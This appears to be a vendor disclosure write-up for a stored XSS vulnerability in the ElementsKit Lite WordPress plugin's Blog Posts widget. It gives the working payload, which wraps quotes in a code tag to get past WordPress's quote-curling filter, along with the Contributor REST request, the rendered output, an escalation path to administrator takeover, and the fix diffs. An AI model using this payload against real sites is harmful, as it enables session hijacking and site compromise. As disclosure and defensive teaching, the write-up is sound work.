CVE-2026-103063 The tag that keeps the quotes intact in ElementsKit

Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in ElementsKit Lite, affecting all versions up to and including 4.0.6. The Blog Posts widget prints every listed post's title into the alt attribute of its featured image using the_title(), which escapes nothing. A Contributor owns that title. The interesting half is how the quotes survive the trip: WordPress has a typographic filter that would turn them into curly quotes, and the payload hides them inside a tag that same filter has promised to leave alone.

Discovered by
Intrudify autonomous engine
Validated & reported by
Disclosure
1 October 2026
Severity
Medium · CVSS 6.5
Vulnerability class
Stored XSS, CWE-79
Affected
ElementsKit Lite ≤ 4.0.6
Fixed in
4.0.7
Active installs
1,000,000+
Attacker privilege
Contributor
User interaction
None, the onload handler fires when the image loads
Precondition
A Blog Posts widget in a template rendered outside the_content, such as a site-wide header

Summary

The ElementsKit Blog Posts widget lists posts with their featured images. For two of its three layouts it writes the post title into the image's alt attribute through the_title(). That function echoes the title after running the the_title filter and performs no escaping of its own, so the stored value lands inside a double-quoted attribute exactly as it was written.

A Contributor is the lowest role that can author a post, and the title is theirs. Breaking out of a double-quoted attribute needs one character, a double quote, and WordPress has two separate mechanisms that would normally take it away. Neither one does here.

The first is wp_filter_kses, which runs on the titles of every user without unfiltered_html. It works on an allowlist of tags and leaves ordinary text alone, and a quote character is ordinary text. The second is wptexturize(), which turns straight quotes into typographic ones and would reduce the payload to inert punctuation. It skips the contents of six tags, and code is one of them. Wrapping the payload in a code element, which the kses allowlist also permits, carries the quotes through both filters unchanged.

The result is an onload handler on an img element in the site's own origin, firing with no interaction for every visitor to any page where the widget renders.

Technical detail

The sink

// widgets/blog-posts/blog-posts.php:3175   layout "Block", the widget default
<img src="<?php the_post_thumbnail_url(esc_attr($ekit_blog_posts_feature_img_size_size)); ?>"
     alt="<?php the_title(); ?>">

// widgets/blog-posts/blog-posts.php:3223   layout "Grid With Thumb"
// byte-for-byte the same line

the_post_thumbnail_url() has its argument escaped. The alt value beside it does not. the_title() is an output function with no escaping in it: it applies the the_title filter and echoes the result, which for a post stored by a Contributor is the attacker's string.

The same file calls the_title() twice more, and both of those are correct:

// line 3111, the same file, a few lines above
echo esc_html(wp_trim_words(get_the_title(), $ekit_blog_posts_title_trim));

// line 3113, the else branch of the same condition
the_title();   // unescaped, and safe, because it sits in a text node

Line 3113 sits between an opening and a closing anchor tag, in a text node. A text node is the one HTML context where the restricted kses allowlist is a sufficient guard, because anything tag-shaped has already been removed. The two attribute sites are the whole of the vulnerability, and the fix touches exactly those two lines.

Why the title arrives intact

A Contributor's post title passes through wp_filter_kses, which uses the restricted allowlist:

// wp-includes/kses.php:618   the restricted set, applied to every user without unfiltered_html
$allowedtags = array(
    ...
    'cite'        => array(),   // no attributes allowed
    'code'        => array(),   // allowed, with no attributes
    'del'         => array(
    ...
);

code is on it, with an empty attribute array. The payload needs no attributes on the tag, so the filter has nothing to object to and nothing to strip. Quote characters are not markup, so they pass as well.

get_the_title() then runs wptexturize() on its way out, which exists to replace straight quotes with curly ones. On its own that would end the attack, because &#8221; cannot close an attribute. It does not run everywhere:

// wp-includes/formatting.php:106   inside wptexturize()
$default_no_texturize_tags = array( 'pre', 'code', 'kbd', 'style', 'script', 'tt' );

// Everything between the opening and closing tag is passed through unchanged.
// That includes the straight double quotes wptexturize would otherwise curl.

Six tags are exempt, for the obvious reason that smart quotes inside a code sample would corrupt it. The exemption is byte-exact, so everything between &lt;code&gt; and &lt;/code&gt; reaches the browser the way the author typed it. The payload asks for exactly that protection:

// post_title as the Contributor submits it, and as it is stored
<code>" onload="alert(document.domain)" x="</code>

// What the restricted kses filter sees: one allowed tag, no attributes,
// and a run of plain text. Nothing to strip.

The chain

  1. The attacker holds a Contributor account and submits a pending post whose title is the payload, with featured_media set to any existing attachment. WP_REST_Posts_Controller accepts featured_media from a Contributor even though the role has no upload_files capability, which is what satisfies the widget's has_post_thumbnail() condition.
// One REST call, as the Contributor. featured_media satisfies has_post_thumbnail().
POST /index.php?rest_route=/wp/v2/posts
X-WP-Nonce: <nonce from /wp-admin/post-new.php>
Content-Type: application/json

{
  "title": "<code>\" onload=\"alert(document.domain)\" x=\"</code>",
  "status": "pending",
  "featured_media": N
}

// 201. title.raw and title.rendered both match what was sent, byte for byte.
  1. An Editor or Administrator publishes the submission through the normal review step. In the post list the title renders as ordinary text inside a code element, so nothing about it looks unusual.
  2. The Blog Posts widget lists the post and emits the title into the alt attribute:
// What the Blog Posts widget emits to every visitor
<img src="https://target/wp-content/uploads/xxx.png"
     alt="<code>" onload="alert(document.domain)" x="</code>">

// The alt value ends at the quote after the opening code tag.
// onload is an attribute of the img element and fires when the image loads.

Where the output is live

The payload executes wherever the widget's markup is not handed back to wptexturize() afterwards. An ElementsKit Header or Footer template rendered site-wide goes through Utils::render_elementor_content as a raw echo, so it runs on every page of the site. An Elementor template embedded with the [elementor-template] shortcode runs at the_content priority 11, after wptexturize() at priority 10. An ElementsKit Widget Area loaded over AJAX and a Mega Menu panel are both outside the_content entirely.

In a plain Elementor page body the payload is neutralised. Elementor's apply_builder_in_content runs at priority 9 and core's wptexturize() at 10, so the finished markup is re-processed and the quotes are curled after all. The site-wide header template is the context used in the proof below, because it executes on every page.

Verification

We reproduced this on a clean WordPress 7.1 installation running Elementor and ElementsKit Lite 4.0.6 with the Hello Elementor theme at default settings. The site had one ElementsKit Header template containing a Blog Posts widget with stock settings and the display condition set to Entire Site. The lab held a stock Contributor account and an administrator to do the reviewing.

The Contributor submitted the post over the REST API in a single call. The response returned title.raw and title.rendered both equal to the payload byte for byte, which confirms that wp_filter_kses removed nothing. The administrator published the post through the normal review screen, where the title displayed as plain text. An unauthenticated request to the site root then returned the header markup with onload as a live attribute of the img element, and alert(document.domain) executed on load.

The quote-preservation step is the part worth controlling, so we ran wptexturize() from WordPress core against both poles:

// wptexturize() from wp-includes/formatting.php, run on both poles

// Control: the same payload with no code element around it
in  : TITLE" onload="alert(document.domain)" x="
out : TITLE&#8221; onload=&#8221;alert(document.domain)&#8221; x=&#8221;
      every straight quote became a right curly quote. The attribute cannot be closed.

// The payload, wrapped
in  : <code>" onload="alert(document.domain)" x="</code>
out : <code>" onload="alert(document.domain)" x="</code>
      identical, byte for byte

The control is the same payload with the code element removed. Every straight quote in it comes back as &#8221;, the attribute cannot be closed, and the injection is dead. Wrapped, the string survives unchanged. The tag is doing the work, and the test tells the two cases apart.

We confirmed the reverse direction as well. The same post title rendered through a Blog Posts widget placed in a normal Elementor page body produced curly quotes and an inert alt value, which is what puts the render-context requirement in the facts table above.

Impact

Arbitrary JavaScript executes in the browser of every visitor, in the site's own origin, with no authentication on their side and no interaction beyond loading the page. An administrator who opens the front end runs it in their authenticated session, which makes the REST nonce and the session cookie available to the script. An administrator session can create another administrator and can install a plugin, and installing a plugin is arbitrary PHP on the host.

Contributor is the role WordPress ships for people trusted to draft and not trusted to publish. Guest-post programmes, editorial teams and multi-author blogs hand it to people the site owner has never met, and the entire distinction rests on the kses filter that this payload is shaped to satisfy.

The site-wide header is the worst of the render contexts, because the widget runs on every page of the site including the login screen and the front end of wp-admin previews. ElementsKit Lite is installed on more than a million sites, and the Blog Posts widget ships with the free version.

Remediation

Update ElementsKit Lite to 4.0.7 or later.

Wpmet escaped the attribute at both sites, which is the change the report proposed:

// 4.0.7, widgets/blog-posts/blog-posts.php:3175 and :3223
- alt="<?php the_title(); ?>"
+ alt="<?php echo esc_attr(get_the_title()); ?>"

The three text-node calls to the_title() in the same plugin were left alone, which is correct. The restricted kses allowlist is a sufficient guard in a text node, and the defect was always the attribute boundary.

The same release carried a second security change, listed in the vendor's changelog as *Enhanced Widget Builder output escaping to prevent stored XSS vulnerabilities*. ElementsKit's Widget Builder compiles custom widget templates into PHP files under uploads/elementskit/custom_widgets. In 4.0.6 every {{ placeholder }} compiled to a bare echo:

// 4.0.6, libs/template/transformer.php:34
// every {{ placeholder }} in a custom widget compiles to this
return '<?php echo isset($settings' . $array_parts . ') ? $settings' . $array_parts . ' : ""; ?>';

// 4.0.7 replaces it with nine output contexts, a per-context escaper,
// and an allowlist gate over the generated PHP before it is written to disk
private static $wp_escapers = array(
    self::CONTEXT_TEXT => 'wp_kses_post',   self::CONTEXT_ATTR => 'esc_attr',
    self::CONTEXT_HTML => 'esc_html',       self::CONTEXT_URL  => 'esc_url',
);

4.0.7 also added a staleness check, because widgets compiled by the old compiler are sitting on disk on every installed site and keep running their unescaped output until someone re-saves them:

// 4.0.7, modules/widget-builder/init.php, the vendor's own comment
if ( Widget_Writer::is_stale( $file ) ) {
    $this->recompile_widget( $widget->ID );

    // Fail closed: never execute PHP produced by an older compiler,
    // whose render output may be unescaped. Re-saving the widget (or
    // fixing filesystem access) brings it back.
    if ( ! file_exists( $file ) || Widget_Writer::is_stale( $file ) ) {
        continue;
    }
}

That second change is a separate defect from this CVE, closed in the same release. It is worth knowing about on its own terms. Sites that built custom widgets through the Widget Builder should confirm the compiled files were regenerated after the update, which the staleness check is designed to do on the next page load.

The wider lesson

The same function is correct in one place and a vulnerability in another. the_title() appears four times in this one file. Two of those calls sit in text nodes and are safe, because the restricted kses allowlist has already removed everything that matters in a text node. Two sit inside a quoted attribute and are not, because kses has no opinion about quote characters. Nothing about the call tells you which one you are looking at. Only the character to its left does.

A filter that promises to leave something alone is a filter an attacker can ask for. wptexturize() exempts code, pre, kbd, style, script and tt for a good reason, and that exemption is part of the contract WordPress offers to anyone who can store one of those tags. The payload here carries no script, no event handler that kses would recognise and no attribute on the tag it uses. It borrows a guarantee from the platform and spends it on two quote characters.

Escaping at the sink is what survives this. Every filter in the path gave a correct answer about the bytes it was shown, and a correct answer about markup says nothing about whether a value is safe inside an attribute. esc_attr() at the point of output needs to know none of the history: it encodes the quote and the question of what happened upstream stops mattering.

Disclosure timeline

  • 2026-09-24 Vulnerability identified and full chain validated by Intrudify, reported via Patchstack
  • 2026-09-29 Fixed release 4.0.7 published by Wpmet
  • 2026-10-01 Public disclosure · CVE-2026-103063 assigned

Questions

What is CVE-2026-103063?

CVE-2026-103063 is a stored cross-site scripting vulnerability in the ElementsKit Lite WordPress plugin, versions 4.0.6 and earlier, reachable by any user holding a Contributor account. It was discovered autonomously by the Intrudify AI penetration testing engine. The Blog Posts widget prints the post title into the alt attribute of the featured image using the_title(), which performs no escaping, so a title containing a double quote closes the attribute and adds an onload event handler to the image element.

Why does WordPress not turn the attacker's quotes into curly quotes?

It normally would. get_the_title() runs wptexturize(), which replaces straight quotes with typographic ones and would make the payload inert. wptexturize skips the contents of six tags so that code samples are not corrupted, and code is one of them. The payload is wrapped in a code element, which the restricted kses allowlist also permits with no attributes, so the quotes reach the browser unchanged.

How do I fix CVE-2026-103063?

Update ElementsKit Lite to version 4.0.7 or later. Wpmet replaced the_title() with esc_attr(get_the_title()) at both affected sites in the Blog Posts widget. The same release added context-aware output escaping to the Widget Builder's template compiler, which is a separate issue closed at the same time.

References

More discovered CVEs from Intrudify

See what a pentest
finds in your app.